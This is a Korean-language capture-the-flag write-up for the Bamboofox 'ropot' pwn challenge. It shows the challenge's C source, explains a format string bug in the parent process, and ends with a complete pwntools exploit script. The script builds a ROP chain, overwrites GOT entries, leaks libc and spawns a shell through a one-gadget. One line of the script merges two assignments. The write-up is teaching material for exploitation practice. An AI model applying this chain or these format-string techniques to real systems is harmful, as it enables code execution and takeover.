[Bamboofox CTF] ropot
ropot
이건 예전에 어떤 CTF에 나온 robot이란 문제를 조금 수정해서 냈다는데, 차이점은 문제 취약점 설명하면서 적겠다. 문제 컨셉은 좀 유쾌했음 ㅋㅋ 자식 프로세스가 robot이고 부모 프로세스는 robot이 보낸 값을 통해서 move같은 작업들 하고 뭐 하고 하던데, 사실 의미있는 것들은 아니더라.
넌센스였던 건 분명 자식 프로세스가 robot인데, robot이 사용자의 input을 받아야 한다는 것…
Mitigation
- Relro : Partial Rerlo
- Stack : No canary found
- NX : NX enable
- PIE : PIE enable
Analyzing
Intro
소스코드를 제공해준다.
/*gcc -z lazy -z noexecstack -fstack-protector robot.c -o robot*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "SECCOMP.h"
//#include<seccomp.h>
struct sock_filter seccompfilter[] = {
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
Allow(read),
Allow(write),
Allow(rt_sigreturn),
Allow(exit),
Allow(exit_group),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};
struct sock_fprog filterprog = {
.len = sizeof(seccompfilter) / sizeof(struct sock_filter),
.filter = seccompfilter};
void apply_seccomp()
{
if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))
{
perror("Seccomp Error");
exit(1);
}
if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1)
{
perror("Seccomp Error");
exit(1);
}
return;
}
void initproc()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
return;
}
int move(unsigned int *pos, unsigned int x, unsigned int y)
{
int newx = pos[0] + x;
int newy = pos[1] + y;
if (newx < 0 || newx >= 100 || newy < 0 || newy >= 100)
return -1;
else
{
pos[0] = newx;
pos[1] = newy;
return 1;
}
}
_Noreturn main()
{
initproc();
int pipefd[4];
if (pipe2(pipefd, O_CLOEXEC | O_DIRECT) == -1 || pipe2(&(pipefd[2]), O_CLOEXEC | O_DIRECT) == -1)
{
puts("Cannot establish connection to robot");
exit(1);
}
int pid = fork();
if (pid < 0)
{
puts("Robot bootup failed");
exit(1);
}
if (pid != 0)
{
close(pipefd[0]);
close(pipefd[3]);
char *buf = mmap(NULL, 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
int randfd = open("/dev/urandom", O_RDONLY);
if (buf == (void *)-1 || randfd == -1)
{
puts("Monitor crashed");
exit(1);
}
int seed;
read(randfd, &seed, 4);
srand(seed);
close(randfd);
unsigned int robot[2] = {((unsigned int)rand()) % 20, ((unsigned int)rand()) % 20};
unsigned int outlaw[2] = {80U + (unsigned int)rand() % 20, 80U + ((unsigned int)rand()) % 20};
for (int i = 0; i < 1000; i++)
{
read(pipefd[2], buf, 0x1000);
siginfo_t status = {0, 0, 0, 0, 0};
int waitres = waitid(P_PID, pid, &status, WNOHANG | WEXITED);
if (waitres == -1)
{
kill(pid, SIGKILL);
puts("Monitor malfunctioning");
exit(1);
}
else if (status.si_pid == pid)
{
if (status.si_code == CLD_EXITED && status.si_status == 0)
puts("AI halted");
else
puts("AI crashed");
exit(0);
}
if (buf[0] == 'S')
{
buf[0] = robot[0] + 1;
buf[1] = robot[1] + 1;
buf[2] = outlaw[0] + 1;
buf[3] = outlaw[1] + 1;
buf[4] = '\0';
}
else if (buf[0] == 'M')
{
int moveres = 0;
if (buf[1] == 'A')
moveres = move(robot, -1, 0);
else if (buf[1] == 'D')
moveres = move(robot, 1, 0);
else if (buf[1] == 'W')
moveres = move(robot, 0, 1);
else if (buf[1] == 'S')
moveres = move(robot, 0, -1);
if (moveres == -1)
strcpy(buf, "Failed");
else if (moveres == 1)
strcpy(buf, "Success");
}
else if (buf[0] == 'G')
{
puts("Mission failed :(");
puts("Only quitters giveup");
kill(pid, SIGKILL);
exit(0);
}
else
{
buf[0] = '\0';
}
if (robot[0] == outlaw[0] && robot[1] == outlaw[1])
{
puts("Mission cleared!");
puts("Here is a token to show our gratitude : NOTFLAG{Super shellcoder}");
exit(0);
}
move(outlaw, (((unsigned int)rand()) % 2) - 1, (((unsigned int)rand()) % 2) - 1);
dprintf(pipefd[1], buf);
}
puts("Mission failed :(");
puts("Robot ran out of fuel");
kill(pid, SIGKILL);
}
else
{
close(pipefd[1]);
close(pipefd[2]);
void (*ropchain)() = mmap((void *)((((unsigned long long)(main)>>12)+0x10)<<12), 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("Gift1: %p\n", ropchain);
printf("Gift2: %p\n", main);
//printf("Gift3: %p\n", printf);
if (ropchain == (void *)-1)
{
puts("Robot initialisation failed");
exit(1);
}
printf("Give me chain : ");
fgets((char *)ropchain, 0x8e0, stdin);
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
apply_seccomp();
asm("mov %0, %%rsp\n"
"xor %%rdx, %%rdx\n"
"xor %%rax, %%rax\n"
"xor %%rbx, %%rbx\n"
"xor %%rcx, %%rcx\n"
"xor %%rsi, %%rsi\n"
"xor %%rdi, %%rdi\n"
"xor %%rbp, %%rbp\n"
"xor %%r8, %%r8\n"
"xor %%r9, %%r9\n"
"xor %%r10, %%r10\n"
"xor %%r11, %%r11\n"
"xor %%r12, %%r12\n"
"xor %%r13, %%r13\n"
"xor %%r14, %%r14\n"
"xor %%r15, %%r15\n"
"ret\n"
"pop %%rax\n"
"ret\n"
"pop %%rcx\n"
"ret\n"
"pop %%rdx\n"
"ret\n" ::"r"(*ropchain));
}
exit(0);
}
Parent Process
여기서 중요한 main의 초반부를 보게 되면 pipe를 열고 fork로 자식프로세스를 하나 생성한다. 그 다음 부모프로세스라면 필요없는 pipe fd를 닫고 버퍼 공간 0x1000 byte만큼 할당한 다음에 pipe로 자식 프로세스가 넘겨주는 값을 read로 받아온다. 그리고 자식 프로세스 상태를 계속 체크하다가 제대로 된 상태가 아니면 부모도 죽인다.
그 이후 받아온 값을 토대로 값을 체크해서 이것저것 작업을 하는데, 이 때 buf[0]
의 부분의 경우에는 모두 제대로 체크를 해서 검증을 하고 잘못된 값이 넘겨졌을 경우 buf[0]
에 null byte를 넘겨주어 untrusted input
이 dprintf
로 넘겨지지 않도록 방지한다.
근데 여기서 잘 봐야 하는 게 부분이 바로 buf[0]
이 M
일 때이다. 이 때는 buf[1]
에 대해서 충분한 검증을 거치지 않는다. 따라서 A, W, S, D
가 아닌 다른 값이 왔을 때 제대로 된 예외를 처리하지 않는다.
또한 맨 부모 프로세스의 맨 마지막 작업을 보면 dprintf
함수를 통해서 자식프로세스에 buf의 값을 넘겨준다는 것을 알 수 있는데, 이 때 Format String Bug
가 발생한다는 걸 알아챌 수 있다. 때문에 buf값을 M%p%p
형식으로 넘겨주어 fsb
를 유발할 수 있다.
Child Process
이제 자식프로세스가 일하는 곳을 보면, 여기도 쓸모없는 pipe fd 닫아준 다음에 보면 맨 처음부터 pie를 leak해준다. rop chain을 하는 buffer 주소도 leak해주는데, 사실 저건 1/2 확률로 main 주소 + 0x10000 이거나, main 주소 + 0x11000이라서 왜 줬는진 모르겠음.
그 이후에는 fgets
로 buffer에 쭉 입력을 받고 stdin, stderr, stdout을 다 닫은 다음에 apply_seccomp
함수로 syscall을 제한하고 rop chain 쪽으로 rsp를 옮겨준다.
근데 여기서 pop rax; ret
, pop rcx; ret
, pop rdx; ret
등등의 rop 가젯을 다 뿌려주는데 이거 덕분에 생각보다 쉽게 exploit이 된다.
robot문제에서는 ropot문제와 다르게 이 부분에서 rsp를 buffer쪽으로 옮기는 게 아니라 rip로 옮긴다. 그래서 익스자체는 훨씬 쉽지만 어셈블리로 함수를 구현해야해서 귀찮더라…
Keyword
이제 여기까지 왔을 때 주목해야하는 몇 가지 키워드가 있는데, 일단 기본적으로 fsb를 통해 exploit을 해야한다는 것과 dprintf
를 통한 값을 그냥 출력하는 게 아니라 자식 프로세스로 넘겨준다는 것이다. 또 부모프로세스와 자식프로세스가 나눠져있다는 점 때문에 디버깅이 귀찮다는 것도… ㅎㅎ (tmux를 통해 pwntools 내부의 gdb 기능을 사용하려 했는데, 자꾸 자식프로세스에 디버거가 안 붙고 부모에만 붙으려 하거나 아예 디버거가 안 붙는다.)
Exploit
아무래도 쉘코드 익스에서 rop 익스로 바뀌어서 그런지 좀 까다로운 면이 있는데, 일단 내가 원하는 instruction을 마음대로 쓰기 힘들다는 게 가장 까다로운 점일 것이다.
또, 출력이 바로 터미널로 나오는 게 아니라 자식과 부모가 서로 통신한다는 점 때문에 leak의 방법을 떠올리는데에 큰 문제가 생긴다.
추가적으로 rop가 가능한 자식프로세스에는 stdin, stdout, stderr이 다 닫혀있고 syscall도 모두 제한되어 있기 때문에 부모프로세스에서 쉘을 획득해야한다는 점도 생각해야한다.
How to communicate?
일단 여기서 가장 중요한 게 출력 함수가 없다. 그래서 출력함수를 만들어줘야 하는데 이 부분은 close
함수의 got
부분을 rop를 통해서 close->syscall
수정해준다. 이게 가능한 이유는 우리의 생각보다 일반적인 ELF binary에는 이쁜 가젯이 많기 때문이다.
그럼 이제 syscall
도 생겼고 pop rax; ret
가젯도 있고 인자 설정도 원하는대로 가능하니까 read, write
를 마음대로 할 수 있다. 근데 여기서 끝이 아니라 fsb를 통해서 자식 프로세스에 leak을 해와도 exploit script에서 읽어올 수 없다는 점을 해결해야만 한다.
How to leak?
그러려면 fsb의 결과 값을 터미널 화면에 출력을 해야만 하는데 이 방법은 double stage fsb
를 통해서 해결해야한다. 자식 프로세스 내로 leak한 stack 값을 통해 부모 프로세스에는 stack 내에 존재하는 stack을 가리키는 pointer
가 있다. 그 포인터의 1 byte만 잘 바꿔줘서 pipe fd부분을 가리키게 수정하고 다시 한 번 fsb를 진행해 pipe fd를 stdin, stdout으로 수정해야 한다.
How to make FSB payload?
근데 여기서 또 문제가 생긴다. 자식프로세스로 릭한 stack의 값은 숫자값이 아닌 string값이다. (%s
를 통해서 raw한 data로도 leak을 할 수는 있지만 그렇게 될 경우 그 값은 환경변수를 가리키는 주소 값이라서 pipe fd와의 offset이 고정적이지 않다.) 때문에 그 값을 10진수 string으로 다시 변경해서 format string bug를 유발해야만한다. 근데 이걸 도대체 어떻게 해야하는가… 이게 문제였다.
방법은 rop를 통해서 close함수의 got에서 libc base
주소를 rop chain의 영역 일부에 저장하고 그 값을 이용해서 libc function
을 call하는 것이다. 이 방법을 통해 strtoul
그리고 sprintf
를 호출하여 hex string->raw data->int string
의 순서를 거쳐서 fsb payload를 최종적으로 작성할 수 있고 그 이후에는 더 이상 부모 프로세스와 자식 프로세스 간의 통신이 필요 없어진다.
How to hlt Child Proces?
그런데 아까 말했듯이 fd를 변경하고 자식 프로세스를 그냥 꺼버리면 부모 프로세스는 잘못된 걸 파악하고 부모 프로세스도 중간에 그냥 꺼져버린다. 근데 hlt
도 못 걸고 종료도 못하면 어떻게 해야할까? 방법이야 여러가지가 있다.
read(pipe_fd, buf, len)
과 같이 read를 호출해서 입력을 받도록 계속 기다리게 만들어도 되고 pop rsp; ...; ret
등의 rsp를 조절할 수 있는 가젯을 통해서 같은 instruction을 무한대로 반복하게 만들어도 된다.
나의 경우에는 전자의 방법을 사용하면 fsb payload가 dprintf에 넘겨진 이후에 자식 프로세스로 넘겨지는 값들 때문에 read할 때 값을 계속 받아오려해서 hlt가 걸리지 않았다. 때문에 후자의 방법을 사용했다.
그럼 이제 터미널로 dprintf의 값이 완벽하게 넘겨와지고 read도 Child Process에서 받아오는 게 아닌 stdin에서 값을 받아오게 된다. 이 이후에는 그냥 단순 fsb를 통해서 libc leak
을 한 뒤 exit의 got를 oneshot gadget으로 덮어주고 쉘을 획득했다.
취약점도 간단하고 그리 어려운 문제는 아닌데 중간중간 해야할 게 많아서 까따로웠던 문제였다. 또 ROP 가젯을 잘 뽑아와야해서 이 것도 꽤 어려웠다. 문제 라업 끝~ 최종 솔브는 밑에…
solve.py
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
e = ELF('./ropot')
libc = e.libc
writefd = 6
readfd = 3
data = b""
data += b"M%36p".ljust(0x8, b'\x00')
data += b"M%%%dc%%36hn".ljust(0x10, b'\x00')
data += b'\x00'*0x10
data += b"M%62ln".ljust(0x10, b'\x00')
def main(p):
p.recvuntil(b': ')
buf = int(p.recvline(), 16)
DATA = buf + 0x3b0
wbuffer = buf + 0x390
p.recvuntil(b': ')
pie = int(p.recvline(), 16) - 0x138b
syscall = 0x00001060 + pie
close_got = 0x00004030 + pie
exit_got = 0x00004088 + pie
prax = 0x00001a4f + pie
prdi = 0x00001abb + pie
prsi = 0x00001ab9 + pie # pop rsi; pop r15; ret;
prdx = 0x00001a53 + pie
prcx = 0x00001a51 + pie prbp = 0x0000122f + pie
prsp = 0x00001ab5 + pie # pop rsp; pop r13; pop r14; pop r15; ret;
g1 = 0x00001ab2 + pie # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
g2 = 0x0000122e + pie # add DWORD [rbp-0x3d], ebx; ret;
g3 = 0x00001382 + pie # mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
g4 = 0x0000137f + pie # mov eax, DWORD [rbp-0x4]; mov DWORD [rdx], eax; mov eax, 0x1; pop rbp; ret;
ret = 0x00001acc + pie
log.info(b'BUF: 0x%x'%buf)
log.info(b'PIE: 0x%x'%pie)
log.info(b'WRITE BUFFER: 0x%x'%wbuffer)
pay = b''
#change close to syscall
pay += p64(g1) + p64(0x12) + p64(close_got + 0x3d) + p64(0)*4 + p64(g2)
#change close to syscall
#leak stack (stage1)
pay += p64(prax) + p64(1) + p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA)*2 + p64(prdx) + p64(0x10) + p64(syscall)
pay += p64(prax) + p64(0) + p64(prdi) + p64(readfd) + p64(prsi) + p64(wbuffer - 1)*2 + p64(prdx) + p64(0x100) + p64(syscall)
#leak stack (stage1)
#get libc base in wbuffer + 0x10 (stage2)
pay += p64(prdx) + p64(wbuffer + 0x10) + p64(prbp) + p64(close_got + 4)
pay += p64(g4) + p64(close_got + 8) + p64(prdx) + p64(wbuffer + 0x14) + p64(g4) + p64(0)
pay += p64(g1) + p64(-(libc.sym['close'] + 0x12)&0xffffffff) + p64(wbuffer + 0x10 + 0x3d)*5 + p64(g2)
#get libc base in wbuffer + 0x10 (stage2)
#calc stack (stage3)
pay += p64(prdx) + p64(buf + 0x238) + p64(prbp) + p64(wbuffer + 0x10 + 4)
pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x238 + 4) + p64(g4) + p64(0)
pay += p64(g1) + p64(libc.sym['strtol']) + p64(buf + 0x238 + 0x3d)*5 + p64(g2)
pay += p64(prdi) + p64(wbuffer) + p64(prsi) + p64(0)*2 + p64(prdx) + p64(16) + b'A'*8
pay += p64(prdx) + p64(wbuffer + 0x18) + p64(g3) + p64(wbuffer + 0x50 + 4) + p64(prdx) + p64(wbuffer + 0x18 + 2) + p64(g4) + p64(0)
pay += p64(g1) + p64(-0x185&0xffffffff) + p64(wbuffer + 0x18 + 0x3d) + p64(0)*4 + p64(g2)
pay += p64(prbp) + p64(wbuffer + 0x18 + 4) + p64(prdx) + p64(buf + 0x7e8)
pay += p64(g4) + p64(wbuffer + 0x10 + 4) + p64(prdx) + p64(buf + 0x7f0)
pay += p64(g4) + p64(wbuffer + 0x14 + 4) + p64(prdx) + p64(buf + 0x7f0 + 4) + p64(g4) + p64(0)
pay += p64(g1) + p64(libc.sym['sprintf']) + p64(buf + 0x7f0 + 0x3d)*5 + p64(g2) + p64(prsp) + p64(buf + 0x7b8 - 0x18)
pay = pay.ljust(0x3b0, b'\x00')
pay += data
pay = pay.ljust(0x408, b'\x00')
pay = pay.ljust(0x7b8, b'\x00')
#calc stack (stage3)
pay += p64(prdi) + p64(DATA + 0x18) + p64(prsi) + p64(DATA + 0x8)*2 + p64(prdx) + b'ABCD'.ljust(0x8, b'\x00') + b'A'*8
#overwrite parent fds to stdin, stdout (stage4)
pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x18)*2 + p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)
pay += p64(prdi) + p64(writefd) + p64(prsi) + p64(DATA + 0x28)*2 + p64(prdx) + p64(0x20) + p64(prax) + p64(1) + p64(syscall)
pay += p64(ret)*7 + p64(prsp) + p64(buf + 0x8b0 - 0x18)
print(hex(len(pay)))
pay = pay.ljust(0x8df, b'\x00')
p.sendafter(b'Give me chain : ', pay)
p.sendline(b'M' + b'\x00'*0x7f)
while True:
p.sendline(b'Mipwn\x00')
res = p.recvuntil(b'Mipwn', timeout=1) #clean output
if(len(res)>1):
print (res)
break
log.info(b'Buffer output clean successfully!')
pause()
p.sendline(b'M%36pipwn')
p.recvuntil(b'M')
stack = int(p.recvuntil(b'ipwn')[:-4], 16)
over_addr = stack - 0xe8
p.sendline(b'M%34pipwn')
p.recvuntil(b'M')
libc_base = int(p.recvuntil(b'ipwn')[:-4], 16) - libc.sym[b'__libc_start_main'] - 235
oneshot = libc_base + 0x106ef8
log.info(b'[STACK] 0x%x'%stack)
log.info(b'[GLIBC] 0x%x'%libc_base)
log.info(b'[OVER_ADDR] 0x%x'%over_addr)
pay = b'M%' + str( (over_addr % 0x10000) - 1 ) + b'c%36hnipwn'
p.sendline(pay + b'\x00')
p.recvuntil(b'ipwn')
for i in range(3):
pay = b'M%' + str( (exit_got % 0x10000) - 1 + i * 2 ) + b'c%62hnipwn'
p.sendline(pay + b'\x00')
p.recvuntil(b'ipwn')
pay = b'M%' + str( ( (oneshot >> ( i * 16 ) )&0xffff) - 1 ) + b'c%33hnipwn'
p.sendline(pay + b'\x00')
p.recvuntil(b'ipwn')
p.interactive()
exit(0)
if __name__ == '__main__':
p = process(e.path, aslr=True)
main(p)